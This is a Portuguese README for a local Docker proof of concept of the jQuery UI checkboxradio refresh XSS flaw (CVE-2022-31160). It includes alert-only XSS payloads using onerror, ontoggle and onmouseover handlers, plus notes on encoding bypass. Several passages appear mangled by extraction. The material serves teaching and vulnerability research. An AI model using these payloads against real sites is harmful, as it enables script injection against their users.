
Prova de Conceito (PoC) de XSS em jquery
Este projeto demonstra a Vulnerabilidade de Atualização do Widget Checkboxradio do jQuery UI (CVE-2022-31160), que permite a decodificação de entidades HTML durante operações de atualização do widget, potencialmente levando a ataques de Cross-Site Scripting (XSS).
⚠️ Este projeto contém payloads XSS funcionais apenas para fins educacionais e de pesquisa.
Quando um widget checkboxradio é inicializado em um input dentro de um label, chamar .checkboxradio("refresh") no widget faz com que as entidades HTML no conteúdo do label sejam erroneamente decodificadas. Isso pode converter conteúdo malicioso codificado com segurança em JavaScript executável.
<!-- Safe encoded content -->
<label for="checkbox">
Text <img src=x onerror="alert('XSS')">
<input type="checkbox" id="checkbox">
</label>
<!-- After .checkboxradio("refresh") -->
<label for="checkbox">
Text
<input type="checkbox" id="checkbox">
</label>
# Clone or navigate to the project directory
cd jquery-cve-2022-31160
# Build the Docker image
docker build -t jquery-cve-2022-31160 .
# Run the container
docker run -p 3000:3000 jquery-cve-2022-31160
Assim que o container estiver em execução, acesse:
jquery-cve-2022-31160/
├── README.md # Esta documentação
├── Dockerfile # Configuração do container Docker
├── package.json # Dependências Node.js
├── server.js # Servidor Express.js
└── simplified-survey.html # Demonstração estilo pesquisa
simplified-survey.html)URL: http://localhost:3000/survey
Funcionalidades:
<img src=x onerror="..."> - Execução imediata<details ontoggle="..." open> - Execução imediata<span onmouseover="..."> - Execução interativaFerramentas de Análise:
.checkboxradio("refresh") é chamado// Vulnerable operation
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // Triggers vulnerability
As demonstrações incluem vários payloads para testar diferentes métodos de execução XSS:
<!-- Network Security: Error event XSS (Immediate execution) -->
<img src=x onerror="console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');">
<!-- Mobile Security: Details toggle XSS (Immediate execution) -->
<details ontoggle="alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')" open><summary></summary></details>
<!-- Cloud Security: Interactive XSS (User interaction required) -->
<span onmouseover="alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')" style="text-decoration:underline; cursor:pointer;">[Hover to trigger]</span>
onerror)src=x)ontoggle)open)onmouseover)Vantagens dos Manipuladores de Evento:
innerHTML<script>ontoggle) são altamente confiáveisContorno de Codificação:
<, ") são decodificadas pela atualização do jQuery UIdocker build -t jquery-cve-2022-31160 .
# Run on default port 3000
docker run -p 3000:3000 jquery-cve-2022-31160
# Run on custom port
docker run -p 8080:3000 jquery-cve-2022-31160
# Run in background
docker run -d -p 3000:3000 jquery-cve-2022-31160
# Run with custom name
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160
# List running containers
docker ps
# Stop the container
docker stop jquery-cve-2022-31160
# Remove the container
docker rm jquery-cve-2022-31160
# Remove the image
docker rmi jquery-cve-2022-31160